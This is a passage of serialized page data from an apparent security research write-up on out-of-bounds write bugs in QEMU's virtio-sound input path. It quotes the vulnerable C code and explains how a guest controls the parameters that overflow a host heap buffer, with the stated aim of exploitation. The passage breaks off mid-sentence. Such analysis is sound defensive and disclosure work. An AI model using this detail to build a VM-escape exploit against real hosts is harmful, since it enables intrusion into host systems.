[1]\n",{"type":25,"tag":201,"props":126140,"children":126141},{"class":203,"line":642},[126142,126147,126151,126155,126159,126163],{"type":25,"tag":201,"props":126143,"children":126144},{"style":246},[126145],{"type":31,"value":126146},"                buffer",{"type":25,"tag":201,"props":126148,"children":126149},{"style":220},[126150],{"type":31,"value":15259},{"type":25,"tag":201,"props":126152,"children":126153},{"style":246},[126154],{"type":31,"value":53142},{"type":25,"tag":201,"props":126156,"children":126157},{"style":220},[126158],{"type":31,"value":15259},{"type":25,"tag":201,"props":126160,"children":126161},{"style":246},[126162],{"type":31,"value":125197},{"type":25,"tag":201,"props":126164,"children":126165},{"style":220},[126166],{"type":31,"value":547},{"type":25,"tag":201,"props":126168,"children":126169},{"class":203,"line":659},[126170,126174,126178,126182,126186],{"type":25,"tag":201,"props":126171,"children":126172},{"style":246},[126173],{"type":31,"value":126146},{"type":25,"tag":201,"props":126175,"children":126176},{"style":220},[126177],{"type":31,"value":15259},{"type":25,"tag":201,"props":126179,"children":126180},{"style":246},[126181],{"type":31,"value":53142},{"type":25,"tag":201,"props":126183,"children":126184},{"style":220},[126185],{"type":31,"value":15259},{"type":25,"tag":201,"props":126187,"children":126188},{"style":246},[126189],{"type":31,"value":126190},"in_num\n",{"type":25,"tag":201,"props":126192,"children":126193},{"class":203,"line":667},[126194],{"type":25,"tag":201,"props":126195,"children":126196},{"style":220},[126197],{"type":31,"value":126198},"            );\n",{"type":25,"tag":201,"props":126200,"children":126201},{"class":203,"line":676},[126202,126207],{"type":25,"tag":201,"props":126203,"children":126204},{"style":230},[126205],{"type":31,"value":126206},"            for",{"type":25,"tag":201,"props":126208,"children":126209},{"style":220},[126210],{"type":31,"value":125010},{"type":25,"tag":201,"props":126212,"children":126213},{"class":203,"line":694},[126214,126218,126222,126227,126231,126235,126239,126244],{"type":25,"tag":201,"props":126215,"children":126216},{"style":230},[126217],{"type":31,"value":104604},{"type":25,"tag":201,"props":126219,"children":126220},{"style":220},[126221],{"type":31,"value":238},{"type":25,"tag":201,"props":126223,"children":126224},{"style":246},[126225],{"type":31,"value":126226},"buffer",{"type":25,"tag":201,"props":126228,"children":126229},{"style":220},[126230],{"type":31,"value":15259},{"type":25,"tag":201,"props":126232,"children":126233},{"style":246},[126234],{"type":31,"value":125344},{"type":25,"tag":201,"props":126236,"children":126237},{"style":261},[126238],{"type":31,"value":9810},{"type":25,"tag":201,"props":126240,"children":126241},{"style":220},[126242],{"type":31,"value":126243}," max_size) {",{"type":25,"tag":201,"props":126245,"children":126246},{"style":4497},[126247],{"type":31,"value":126248},"     // [2]\n",{"type":25,"tag":201,"props":126250,"children":126251},{"class":203,"line":707},[126252,126257],{"type":25,"tag":201,"props":126253,"children":126254},{"style":214},[126255],{"type":31,"value":126256},"                    return_rx_buffer",{"type":25,"tag":201,"props":126258,"children":126259},{"style":220},[126260],{"type":31,"value":126261},"(stream, buffer);\n",{"type":25,"tag":201,"props":126263,"children":126264},{"class":203,"line":715},[126265,126270],{"type":25,"tag":201,"props":126266,"children":126267},{"style":230},[126268],{"type":31,"value":126269},"                    break",{"type":25,"tag":201,"props":126271,"children":126272},{"style":220},[126273],{"type":31,"value":461},{"type":25,"tag":201,"props":126275,"children":126276},{"class":203,"line":732},[126277],{"type":25,"tag":201,"props":126278,"children":126279},{"style":220},[126280],{"type":31,"value":72153},{"type":25,"tag":201,"props":126282,"children":126283},{"class":203,"line":749},[126284,126289,126293,126298,126302,126306,126310,126315,126319,126323],{"type":25,"tag":201,"props":126285,"children":126286},{"style":220},[126287],{"type":31,"value":126288},"                size ",{"type":25,"tag":201,"props":126290,"children":126291},{"style":261},[126292],{"type":31,"value":1383},{"type":25,"tag":201,"props":126294,"children":126295},{"style":214},[126296],{"type":31,"value":126297}," AUD_read",{"type":25,"tag":201,"props":126299,"children":126300},{"style":220},[126301],{"type":31,"value":298},{"type":25,"tag":201,"props":126303,"children":126304},{"style":246},[126305],{"type":31,"value":37331},{"type":25,"tag":201,"props":126307,"children":126308},{"style":220},[126309],{"type":31,"value":15259},{"type":25,"tag":201,"props":126311,"children":126312},{"style":246},[126313],{"type":31,"value":126314},"voice",{"type":25,"tag":201,"props":126316,"children":126317},{"style":220},[126318],{"type":31,"value":80},{"type":25,"tag":201,"props":126320,"children":126321},{"style":246},[126322],{"type":31,"value":96582},{"type":25,"tag":201,"props":126324,"children":126325},{"style":220},[126326],{"type":31,"value":547},{"type":25,"tag":201,"props":126328,"children":126329},{"class":203,"line":757},[126330,126335,126339,126343,126347,126352,126356,126360],{"type":25,"tag":201,"props":126331,"children":126332},{"style":246},[126333],{"type":31,"value":126334},"                        buffer",{"type":25,"tag":201,"props":126336,"children":126337},{"style":220},[126338],{"type":31,"value":15259},{"type":25,"tag":201,"props":126340,"children":126341},{"style":246},[126342],{"type":31,"value":5206},{"type":25,"tag":201,"props":126344,"children":126345},{"style":261},[126346],{"type":31,"value":10412},{"type":25,"tag":201,"props":126348,"children":126349},{"style":246},[126350],{"type":31,"value":126351}," buffer",{"type":25,"tag":201,"props":126353,"children":126354},{"style":220},[126355],{"type":31,"value":15259},{"type":25,"tag":201,"props":126357,"children":126358},{"style":246},[126359],{"type":31,"value":125344},{"type":25,"tag":201,"props":126361,"children":126362},{"style":220},[126363],{"type":31,"value":547},{"type":25,"tag":201,"props":126365,"children":126366},{"class":203,"line":765},[126367,126372,126377,126381,126385,126389,126393,126398,126402],{"type":25,"tag":201,"props":126368,"children":126369},{"style":214},[126370],{"type":31,"value":126371},"                        MIN",{"type":25,"tag":201,"props":126373,"children":126374},{"style":220},[126375],{"type":31,"value":126376},"(available, (",{"type":25,"tag":201,"props":126378,"children":126379},{"style":246},[126380],{"type":31,"value":37331},{"type":25,"tag":201,"props":126382,"children":126383},{"style":220},[126384],{"type":31,"value":15259},{"type":25,"tag":201,"props":126386,"children":126387},{"style":246},[126388],{"type":31,"value":99366},{"type":25,"tag":201,"props":126390,"children":126391},{"style":220},[126392],{"type":31,"value":80},{"type":25,"tag":201,"props":126394,"children":126395},{"style":246},[126396],{"type":31,"value":126397},"period_bytes",{"type":25,"tag":201,"props":126399,"children":126400},{"style":261},[126401],{"type":31,"value":52333},{"type":25,"tag":201,"props":126403,"children":126404},{"style":4497},[126405],{"type":31,"value":126406},"     // [3]\n",{"type":25,"tag":201,"props":126408,"children":126409},{"class":203,"line":783},[126410,126415,126419,126423],{"type":25,"tag":201,"props":126411,"children":126412},{"style":246},[126413],{"type":31,"value":126414},"                                        buffer",{"type":25,"tag":201,"props":126416,"children":126417},{"style":220},[126418],{"type":31,"value":15259},{"type":25,"tag":201,"props":126420,"children":126421},{"style":246},[126422],{"type":31,"value":125344},{"type":25,"tag":201,"props":126424,"children":126425},{"style":220},[126426],{"type":31,"value":126427},")));\n",{"type":25,"tag":201,"props":126429,"children":126430},{"class":203,"line":792},[126431,126435,126439,126443],{"type":25,"tag":201,"props":126432,"children":126433},{"style":230},[126434],{"type":31,"value":104604},{"type":25,"tag":201,"props":126436,"children":126437},{"style":220},[126438],{"type":31,"value":238},{"type":25,"tag":201,"props":126440,"children":126441},{"style":261},[126442],{"type":31,"value":4114},{"type":25,"tag":201,"props":126444,"children":126445},{"style":220},[126446],{"type":31,"value":126447},"size) {\n",{"type":25,"tag":201,"props":126449,"children":126450},{"class":203,"line":801},[126451,126456,126460,126464],{"type":25,"tag":201,"props":126452,"children":126453},{"style":220},[126454],{"type":31,"value":126455},"                    available ",{"type":25,"tag":201,"props":126457,"children":126458},{"style":261},[126459],{"type":31,"value":1383},{"type":25,"tag":201,"props":126461,"children":126462},{"style":426},[126463],{"type":31,"value":4554},{"type":25,"tag":201,"props":126465,"children":126466},{"style":220},[126467],{"type":31,"value":461},{"type":25,"tag":201,"props":126469,"children":126470},{"class":203,"line":809},[126471,126475],{"type":25,"tag":201,"props":126472,"children":126473},{"style":230},[126474],{"type":31,"value":126269},{"type":25,"tag":201,"props":126476,"children":126477},{"style":220},[126478],{"type":31,"value":461},{"type":25,"tag":201,"props":126480,"children":126481},{"class":203,"line":857},[126482],{"type":25,"tag":201,"props":126483,"children":126484},{"style":220},[126485],{"type":31,"value":72153},{"type":25,"tag":201,"props":126487,"children":126488},{"class":203,"line":865},[126489,126493,126497,126501,126505],{"type":25,"tag":201,"props":126490,"children":126491},{"style":246},[126492],{"type":31,"value":126146},{"type":25,"tag":201,"props":126494,"children":126495},{"style":220},[126496],{"type":31,"value":15259},{"type":25,"tag":201,"props":126498,"children":126499},{"style":246},[126500],{"type":31,"value":125344},{"type":25,"tag":201,"props":126502,"children":126503},{"style":261},[126504],{"type":31,"value":16563},{"type":25,"tag":201,"props":126506,"children":126507},{"style":220},[126508],{"type":31,"value":125686},{"type":25,"tag":201,"props":126510,"children":126511},{"class":203,"line":931},[126512,126517,126521],{"type":25,"tag":201,"props":126513,"children":126514},{"style":220},[126515],{"type":31,"value":126516},"                available ",{"type":25,"tag":201,"props":126518,"children":126519},{"style":261},[126520],{"type":31,"value":105069},{"type":25,"tag":201,"props":126522,"children":126523},{"style":220},[126524],{"type":31,"value":125686},{"type":25,"tag":201,"props":126526,"children":126527},{"class":203,"line":939},[126528],{"type":25,"tag":201,"props":126529,"children":126530},{"style":220},[126531],{"type":31,"value":126532},"                [...]\n",{"type":25,"tag":201,"props":126534,"children":126535},{"class":203,"line":960},[126536],{"type":25,"tag":201,"props":126537,"children":126538},{"style":220},[126539],{"type":31,"value":59964},{"type":25,"tag":201,"props":126541,"children":126542},{"class":203,"line":977},[126543],{"type":25,"tag":201,"props":126544,"children":126545},{"style":220},[126546],{"type":31,"value":4853},{"type":25,"tag":201,"props":126548,"children":126549},{"class":203,"line":994},[126550],{"type":25,"tag":201,"props":126551,"children":126552},{"style":220},[126553],{"type":31,"value":4861},{"type":25,"tag":201,"props":126555,"children":126556},{"class":203,"line":1016},[126557],{"type":25,"tag":201,"props":126558,"children":126559},{"style":220},[126560],{"type":31,"value":1187},{"type":25,"tag":34,"props":126562,"children":126563},{},[126564,126565,126570,126571,126577,126579,126585,126587,126592,126593,126598,126600,126605],{"type":31,"value":125466},{"type":25,"tag":115,"props":126566,"children":126568},{"className":126567},[],[126569],{"type":31,"value":125472},{"type":31,"value":919},{"type":25,"tag":115,"props":126572,"children":126574},{"className":126573},[],[126575],{"type":31,"value":126576},"max_size",{"type":31,"value":126578}," is set to ",{"type":25,"tag":115,"props":126580,"children":126582},{"className":126581},[],[126583],{"type":31,"value":126584},"iov_size(in_sg, in_num)",{"type":31,"value":126586},". Both ",{"type":25,"tag":115,"props":126588,"children":126590},{"className":126589},[],[126591],{"type":31,"value":125197},{"type":31,"value":12493},{"type":25,"tag":115,"props":126594,"children":126596},{"className":126595},[],[126597],{"type":31,"value":125214},{"type":31,"value":126599}," are the same guest-controlled fields from ",{"type":25,"tag":115,"props":126601,"children":126603},{"className":126602},[],[126604],{"type":31,"value":124849},{"type":31,"value":80},{"type":25,"tag":34,"props":126607,"children":126608},{},[126609,126611,126616,126618,126624,126626,126632,126634,126640],{"type":31,"value":126610},"Later, at ",{"type":25,"tag":115,"props":126612,"children":126614},{"className":126613},[],[126615],{"type":31,"value":125507},{"type":31,"value":126617},", the code checks whether ",{"type":25,"tag":115,"props":126619,"children":126621},{"className":126620},[],[126622],{"type":31,"value":126623},"buffer->size >= max_size",{"type":31,"value":126625},". In the RX path, ",{"type":25,"tag":115,"props":126627,"children":126629},{"className":126628},[],[126630],{"type":31,"value":126631},"buffer->size",{"type":31,"value":126633}," tracks how many bytes have been written into ",{"type":25,"tag":115,"props":126635,"children":126637},{"className":126636},[],[126638],{"type":31,"value":126639},"buffer->data",{"type":31,"value":126641},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":25,"tag":34,"props":126643,"children":126644},{},[126645,126647,126652,126654,126660,126662,126667,126669,126675],{"type":31,"value":126646},"However, this does not match the allocation logic in ",{"type":25,"tag":115,"props":126648,"children":126650},{"className":126649},[],[126651],{"type":31,"value":124849},{"type":31,"value":126653},", which used: ",{"type":25,"tag":115,"props":126655,"children":126657},{"className":126656},[],[126658],{"type":31,"value":126659},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":31,"value":126661},". In other words, the allocation subtracts ",{"type":25,"tag":115,"props":126663,"children":126665},{"className":126664},[],[126666],{"type":31,"value":125573},{"type":31,"value":126668},", but the later bound in ",{"type":25,"tag":115,"props":126670,"children":126672},{"className":126671},[],[126673],{"type":31,"value":126674},"virtio_snd_pcm_in_cb",{"type":31,"value":126676}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":25,"tag":34,"props":126678,"children":126679},{},[126680,126682,126687,126689,126695,126697,126703,126705,126710,126712,126718,126720,126726,126728,126733,126735,126740],{"type":31,"value":126681},"Finally, at ",{"type":25,"tag":115,"props":126683,"children":126685},{"className":126684},[],[126686],{"type":31,"value":125531},{"type":31,"value":126688},", the code calls ",{"type":25,"tag":115,"props":126690,"children":126692},{"className":126691},[],[126693],{"type":31,"value":126694},"AUD_read",{"type":31,"value":126696}," with the following limit:\n",{"type":25,"tag":115,"props":126698,"children":126700},{"className":126699},[],[126701],{"type":31,"value":126702},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":31,"value":126704},". Notice how this bound does not take ",{"type":25,"tag":115,"props":126706,"children":126708},{"className":126707},[],[126709],{"type":31,"value":126576},{"type":31,"value":126711}," into account at all. That means if ",{"type":25,"tag":115,"props":126713,"children":126715},{"className":126714},[],[126716],{"type":31,"value":126717},"available",{"type":31,"value":126719}," is larger than the allocated buffer, and ",{"type":25,"tag":115,"props":126721,"children":126723},{"className":126722},[],[126724],{"type":31,"value":126725},"stream->params.period_bytes",{"type":31,"value":126727}," is also larger than the allocated buffer, ",{"type":25,"tag":115,"props":126729,"children":126731},{"className":126730},[],[126732],{"type":31,"value":126694},{"type":31,"value":126734}," will write past the end of ",{"type":25,"tag":115,"props":126736,"children":126738},{"className":126737},[],[126739],{"type":31,"value":126639},{"type":31,"value":126741}," - the third, and final, bug we found.",{"type":25,"tag":34,"props":126743,"children":126744},{},[126745,126747,126752,126754,126760],{"type":31,"value":126746},"Looking further at the code, we can see that ",{"type":25,"tag":115,"props":126748,"children":126750},{"className":126749},[],[126751],{"type":31,"value":126725},{"type":31,"value":126753}," is fully guest-controlled by issuing a ",{"type":25,"tag":115,"props":126755,"children":126757},{"className":126756},[],[126758],{"type":31,"value":126759},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":31,"value":126761}," request:",{"type":25,"tag":191,"props":126763,"children":126765},{"code":126764,"language":4652,"meta":7,"className":18010,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n                                   uint32_t stream_id,\n                                   virtio_snd_pcm_set_params *params)\n{\n    virtio_snd_pcm_set_params *st_params;\n\n    [...]\n\n    st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n    [...]\n\n    st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n    st_params->period_bytes = le32_to_cpu(params->period_bytes);\n    st_params->features = le32_to_cpu(params->features);\n    /* the following are uint8_t, so there's no need to bswap the values. */\n    st_params->channels = params->channels;\n    st_params->format = params->format;\n    st_params->rate = params->rate;\n\n    return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[126766],{"type":25,"tag":115,"props":126767,"children":126768},{"__ignoreMap":7},[126769,126777,126806,126823,126843,126850,126867,126874,126881,126888,126910,126917,126924,126931,126977,127020,127064,127072,127109,127145,127181,127188,127205],{"type":25,"tag":201,"props":126770,"children":126771},{"class":203,"line":204},[126772],{"type":25,"tag":201,"props":126773,"children":126774},{"style":208},[126775],{"type":31,"value":126776},"static\n",{"type":25,"tag":201,"props":126778,"children":126779},{"class":203,"line":226},[126780,126784,126789,126794,126798,126802],{"type":25,"tag":201,"props":126781,"children":126782},{"style":208},[126783],{"type":31,"value":59012},{"type":25,"tag":201,"props":126785,"children":126786},{"style":214},[126787],{"type":31,"value":126788}," virtio_snd_set_pcm_params",{"type":25,"tag":201,"props":126790,"children":126791},{"style":220},[126792],{"type":31,"value":126793},"(VirtIOSound ",{"type":25,"tag":201,"props":126795,"children":126796},{"style":261},[126797],{"type":31,"value":6077},{"type":25,"tag":201,"props":126799,"children":126800},{"style":246},[126801],{"type":31,"value":12153},{"type":25,"tag":201,"props":126803,"children":126804},{"style":220},[126805],{"type":31,"value":547},{"type":25,"tag":201,"props":126807,"children":126808},{"class":203,"line":278},[126809,126814,126819],{"type":25,"tag":201,"props":126810,"children":126811},{"style":208},[126812],{"type":31,"value":126813},"                                   uint32_t",{"type":25,"tag":201,"props":126815,"children":126816},{"style":246},[126817],{"type":31,"value":126818}," stream_id",{"type":25,"tag":201,"props":126820,"children":126821},{"style":220},[126822],{"type":31,"value":547},{"type":25,"tag":201,"props":126824,"children":126825},{"class":203,"line":311},[126826,126831,126835,126839],{"type":25,"tag":201,"props":126827,"children":126828},{"style":220},[126829],{"type":31,"value":126830},"                                   virtio_snd_pcm_set_params ",{"type":25,"tag":201,"props":126832,"children":126833},{"style":261},[126834],{"type":31,"value":6077},{"type":25,"tag":201,"props":126836,"children":126837},{"style":246},[126838],{"type":31,"value":99366},{"type":25,"tag":201,"props":126840,"children":126841},{"style":220},[126842],{"type":31,"value":4666},{"type":25,"tag":201,"props":126844,"children":126845},{"class":203,"line":330},[126846],{"type":25,"tag":201,"props":126847,"children":126848},{"style":220},[126849],{"type":31,"value":1822},{"type":25,"tag":201,"props":126851,"children":126852},{"class":203,"line":397},[126853,126858,126862],{"type":25,"tag":201,"props":126854,"children":126855},{"style":220},[126856],{"type":31,"value":126857},"    virtio_snd_pcm_set_params ",{"type":25,"tag":201,"props":126859,"children":126860},{"style":261},[126861],{"type":31,"value":6077},{"type":25,"tag":201,"props":126863,"children":126864},{"style":220},[126865],{"type":31,"value":126866},"st_params;\n",{"type":25,"tag":201,"props":126868,"children":126869},{"class":203,"line":437},[126870],{"type":25,"tag":201,"props":126871,"children":126872},{"emptyLinePlaceholder":17},[126873],{"type":31,"value":496},{"type":25,"tag":201,"props":126875,"children":126876},{"class":203,"line":464},[126877],{"type":25,"tag":201,"props":126878,"children":126879},{"style":220},[126880],{"type":31,"value":105885},{"type":25,"tag":201,"props":126882,"children":126883},{"class":203,"line":490},[126884],{"type":25,"tag":201,"props":126885,"children":126886},{"emptyLinePlaceholder":17},[126887],{"type":31,"value":496},{"type":25,"tag":201,"props":126889,"children":126890},{"class":203,"line":499},[126891,126896,126900,126905],{"type":25,"tag":201,"props":126892,"children":126893},{"style":220},[126894],{"type":31,"value":126895},"    st_params ",{"type":25,"tag":201,"props":126897,"children":126898},{"style":261},[126899],{"type":31,"value":1383},{"type":25,"tag":201,"props":126901,"children":126902},{"style":214},[126903],{"type":31,"value":126904}," virtio_snd_pcm_get_params",{"type":25,"tag":201,"props":126906,"children":126907},{"style":220},[126908],{"type":31,"value":126909},"(s, stream_id);\n",{"type":25,"tag":201,"props":126911,"children":126912},{"class":203,"line":522},[126913],{"type":25,"tag":201,"props":126914,"children":126915},{"emptyLinePlaceholder":17},[126916],{"type":31,"value":496},{"type":25,"tag":201,"props":126918,"children":126919},{"class":203,"line":531},[126920],{"type":25,"tag":201,"props":126921,"children":126922},{"style":220},[126923],{"type":31,"value":105885},{"type":25,"tag":201,"props":126925,"children":126926},{"class":203,"line":550},[126927],{"type":25,"tag":201,"props":126928,"children":126929},{"emptyLinePlaceholder":17},[126930],{"type":31,"value":496},{"type":25,"tag":201,"props":126932,"children":126933},{"class":203,"line":563},[126934,126939,126943,126948,126952,126957,126961,126965,126969,126973],{"type":25,"tag":201,"props":126935,"children":126936},{"style":246},[126937],{"type":31,"value":126938},"    st_params",{"type":25,"tag":201,"props":126940,"children":126941},{"style":220},[126942],{"type":31,"value":15259},{"type":25,"tag":201,"props":126944,"children":126945},{"style":246},[126946],{"type":31,"value":126947},"buffer_bytes",{"type":25,"tag":201,"props":126949,"children":126950},{"style":261},[126951],{"type":31,"value":413},{"type":25,"tag":201,"props":126953,"children":126954},{"style":214},[126955],{"type":31,"value":126956}," le32_to_cpu",{"type":25,"tag":201,"props":126958,"children":126959},{"style":220},[126960],{"type":31,"value":298},{"type":25,"tag":201,"props":126962,"children":126963},{"style":246},[126964],{"type":31,"value":99366},{"type":25,"tag":201,"props":126966,"children":126967},{"style":220},[126968],{"type":31,"value":15259},{"type":25,"tag":201,"props":126970,"children":126971},{"style":246},[126972],{"type":31,"value":126947},{"type":25,"tag":201,"props":126974,"children":126975},{"style":220},[126976],{"type":31,"value":308},{"type":25,"tag":201,"props":126978,"children":126979},{"class":203,"line":572},[126980,126984,126988,126992,126996,127000,127004,127008,127012,127016],{"type":25,"tag":201,"props":126981,"children":126982},{"style":246},[126983],{"type":31,"value":126938},{"type":25,"tag":201,"props":126985,"children":126986},{"style":220},[126987],{"type":31,"value":15259},{"type":25,"tag":201,"props":126989,"children":126990},{"style":246},[126991],{"type":31,"value":126397},{"type":25,"tag":201,"props":126993,"children":126994},{"style":261},[126995],{"type":31,"value":413},{"type":25,"tag":201,"props":126997,"children":126998},{"style":214},[126999],{"type":31,"value":126956},{"type":25,"tag":201,"props":127001,"children":127002},{"style":220},[127003],{"type":31,"value":298},{"type":25,"tag":201,"props":127005,"children":127006},{"style":246},[127007],{"type":31,"value":99366},{"type":25,"tag":201,"props":127009,"children":127010},{"style":220},[127011],{"type":31,"value":15259},{"type":25,"tag":201,"props":127013,"children":127014},{"style":246},[127015],{"type":31,"value":126397},{"type":25,"tag":201,"props":127017,"children":127018},{"style":220},[127019],{"type":31,"value":308},{"type":25,"tag":201,"props":127021,"children":127022},{"class":203,"line":590},[127023,127027,127031,127036,127040,127044,127048,127052,127056,127060],{"type":25,"tag":201,"props":127024,"children":127025},{"style":246},[127026],{"type":31,"value":126938},{"type":25,"tag":201,"props":127028,"children":127029},{"style":220},[127030],{"type":31,"value":15259},{"type":25,"tag":201,"props":127032,"children":127033},{"style":246},[127034],{"type":31,"value":127035},"features",{"type":25,"tag":201,"props":127037,"children":127038},{"style":261},[127039],{"type":31,"value":413},{"type":25,"tag":201,"props":127041,"children":127042},{"style":214},[127043],{"type":31,"value":126956},{"type":25,"tag":201,"props":127045,"children":127046},{"style":220},[127047],{"type":31,"value":298},{"type":25,"tag":201,"props":127049,"children":127050},{"style":246},[127051],{"type":31,"value":99366},{"type":25,"tag":201,"props":127053,"children":127054},{"style":220},[127055],{"type":31,"value":15259},{"type":25,"tag":201,"props":127057,"children":127058},{"style":246},[127059],{"type":31,"value":127035},{"type":25,"tag":201,"props":127061,"children":127062},{"style":220},[127063],{"type":31,"value":308},{"type":25,"tag":201,"props":127065,"children":127066},{"class":203,"line":608},[127067],{"type":25,"tag":201,"props":127068,"children":127069},{"style":4497},[127070],{"type":31,"value":127071},"    /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":25,"tag":201,"props":127073,"children":127074},{"class":203,"line":617},[127075,127079,127083,127088,127092,127097,127101,127105],{"type":25,"tag":201,"props":127076,"children":127077},{"style":246},[127078],{"type":31,"value":126938},{"type":25,"tag":201,"props":127080,"children":127081},{"style":220},[127082],{"type":31,"value":15259},{"type":25,"tag":201,"props":127084,"children":127085},{"style":246},[127086],{"type":31,"value":127087},"channels",{"type":25,"tag":201,"props":127089,"children":127090},{"style":261},[127091],{"type":31,"value":413},{"type":25,"tag":201,"props":127093,"children":127094},{"style":246},[127095],{"type":31,"value":127096}," params",{"type":25,"tag":201,"props":127098,"children":127099},{"style":220},[127100],{"type":31,"value":15259},{"type":25,"tag":201,"props":127102,"children":127103},{"style":246},[127104],{"type":31,"value":127087},{"type":25,"tag":201,"props":127106,"children":127107},{"style":220},[127108],{"type":31,"value":461},{"type":25,"tag":201,"props":127110,"children":127111},{"class":203,"line":625},[127112,127116,127120,127125,127129,127133,127137,127141],{"type":25,"tag":201,"props":127113,"children":127114},{"style":246},[127115],{"type":31,"value":126938},{"type":25,"tag":201,"props":127117,"children":127118},{"style":220},[127119],{"type":31,"value":15259},{"type":25,"tag":201,"props":127121,"children":127122},{"style":246},[127123],{"type":31,"value":127124},"format",{"type":25,"tag":201,"props":127126,"children":127127},{"style":261},[127128],{"type":31,"value":413},{"type":25,"tag":201,"props":127130,"children":127131},{"style":246},[127132],{"type":31,"value":127096},{"type":25,"tag":201,"props":127134,"children":127135},{"style":220},[127136],{"type":31,"value":15259},{"type":25,"tag":201,"props":127138,"children":127139},{"style":246},[127140],{"type":31,"value":127124},{"type":25,"tag":201,"props":127142,"children":127143},{"style":220},[127144],{"type":31,"value":461},{"type":25,"tag":201,"props":127146,"children":127147},{"class":203,"line":642},[127148,127152,127156,127161,127165,127169,127173,127177],{"type":25,"tag":201,"props":127149,"children":127150},{"style":246},[127151],{"type":31,"value":126938},{"type":25,"tag":201,"props":127153,"children":127154},{"style":220},[127155],{"type":31,"value":15259},{"type":25,"tag":201,"props":127157,"children":127158},{"style":246},[127159],{"type":31,"value":127160},"rate",{"type":25,"tag":201,"props":127162,"children":127163},{"style":261},[127164],{"type":31,"value":413},{"type":25,"tag":201,"props":127166,"children":127167},{"style":246},[127168],{"type":31,"value":127096},{"type":25,"tag":201,"props":127170,"children":127171},{"style":220},[127172],{"type":31,"value":15259},{"type":25,"tag":201,"props":127174,"children":127175},{"style":246},[127176],{"type":31,"value":127160},{"type":25,"tag":201,"props":127178,"children":127179},{"style":220},[127180],{"type":31,"value":461},{"type":25,"tag":201,"props":127182,"children":127183},{"class":203,"line":659},[127184],{"type":25,"tag":201,"props":127185,"children":127186},{"emptyLinePlaceholder":17},[127187],{"type":31,"value":496},{"type":25,"tag":201,"props":127189,"children":127190},{"class":203,"line":667},[127191,127195,127200],{"type":25,"tag":201,"props":127192,"children":127193},{"style":230},[127194],{"type":31,"value":18486},{"type":25,"tag":201,"props":127196,"children":127197},{"style":214},[127198],{"type":31,"value":127199}," cpu_to_le32",{"type":25,"tag":201,"props":127201,"children":127202},{"style":220},[127203],{"type":31,"value":127204},"(VIRTIO_SND_S_OK);\n",{"type":25,"tag":201,"props":127206,"children":127207},{"class":203,"line":676},[127208],{"type":25,"tag":201,"props":127209,"children":127210},{"style":220},[127211],{"type":31,"value":1187},{"type":25,"tag":34,"props":127213,"children":127214},{},[127215,127217,127222,127224,127230,127232,127237,127239,127244,127246,127252,127253,127258],{"type":31,"value":127216},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":25,"tag":115,"props":127218,"children":127220},{"className":127219},[],[127221],{"type":31,"value":4928},{"type":31,"value":127223},") and signed (",{"type":25,"tag":115,"props":127225,"children":127227},{"className":127226},[],[127228],{"type":31,"value":127229},"s8",{"type":31,"value":127231},") samples. They encode the same waveform differently - silence is ",{"type":25,"tag":115,"props":127233,"children":127235},{"className":127234},[],[127236],{"type":31,"value":30923},{"type":31,"value":127238}," in ",{"type":25,"tag":115,"props":127240,"children":127242},{"className":127241},[],[127243],{"type":31,"value":4928},{"type":31,"value":127245},", but ",{"type":25,"tag":115,"props":127247,"children":127249},{"className":127248},[],[127250],{"type":31,"value":127251},"0x00",{"type":31,"value":127238},{"type":25,"tag":115,"props":127254,"children":127256},{"className":127255},[],[127257],{"type":31,"value":127229},{"type":31,"value":80},{"type":25,"tag":20292,"props":127260,"children":127261},{},[],{"type":25,"tag":34,"props":127263,"children":127264},{},[127265],{"type":31,"value":127266},"To summarize:",{"type":25,"tag":6944,"props":127268,"children":127269},{},[127270,127289,127307],{"type":25,"tag":6948,"props":127271,"children":127272},{},[127273,127275,127280,127282,127287],{"type":31,"value":127274},"an integer underflow in the ",{"type":25,"tag":115,"props":127276,"children":127278},{"className":127277},[],[127279],{"type":31,"value":125344},{"type":31,"value":127281}," calculation in ",{"type":25,"tag":115,"props":127283,"children":127285},{"className":127284},[],[127286],{"type":31,"value":124849},{"type":31,"value":127288},", resulting in an 8-byte (or less) under-allocation",{"type":25,"tag":6948,"props":127290,"children":127291},{},[127292,127294,127299,127300,127305],{"type":31,"value":127293},"a mismatch in the ",{"type":25,"tag":115,"props":127295,"children":127297},{"className":127296},[],[127298],{"type":31,"value":126576},{"type":31,"value":127281},{"type":25,"tag":115,"props":127301,"children":127303},{"className":127302},[],[127304],{"type":31,"value":126674},{"type":31,"value":127306},", leading to at most 8-byte OOB write",{"type":25,"tag":6948,"props":127308,"children":127309},{},[127310,127312,127317,127319,127324,127326,127331],{"type":31,"value":127311},"a missing bound in the ",{"type":25,"tag":115,"props":127313,"children":127315},{"className":127314},[],[127316],{"type":31,"value":125344},{"type":31,"value":127318}," passed to ",{"type":25,"tag":115,"props":127320,"children":127322},{"className":127321},[],[127323],{"type":31,"value":126694},{"type":31,"value":127325},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":25,"tag":115,"props":127327,"children":127329},{"className":127328},[],[127330],{"type":31,"value":126717},{"type":31,"value":83373},{"type":25,"tag":34,"props":127333,"children":127334},{},[127335,127337,127342,127344,127349,127351,127357],{"type":31,"value":127336},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":25,"tag":115,"props":127338,"children":127340},{"className":127339},[],[127341],{"type":31,"value":126717},{"type":31,"value":127343},", but in our setup with the ALSA backend, ",{"type":25,"tag":115,"props":127345,"children":127347},{"className":127346},[],[127348],{"type":31,"value":126717},{"type":31,"value":127350}," was consistently around ",{"type":25,"tag":115,"props":127352,"children":127354},{"className":127353},[],[127355],{"type":31,"value":127356},"4096",{"type":31,"value":80},{"type":25,"tag":34,"props":127359,"children":127360},{},[127361,127363,127370,127371,127378],{"type":31,"value":127362},"It is also worth noting that the timing here was particularly unlucky 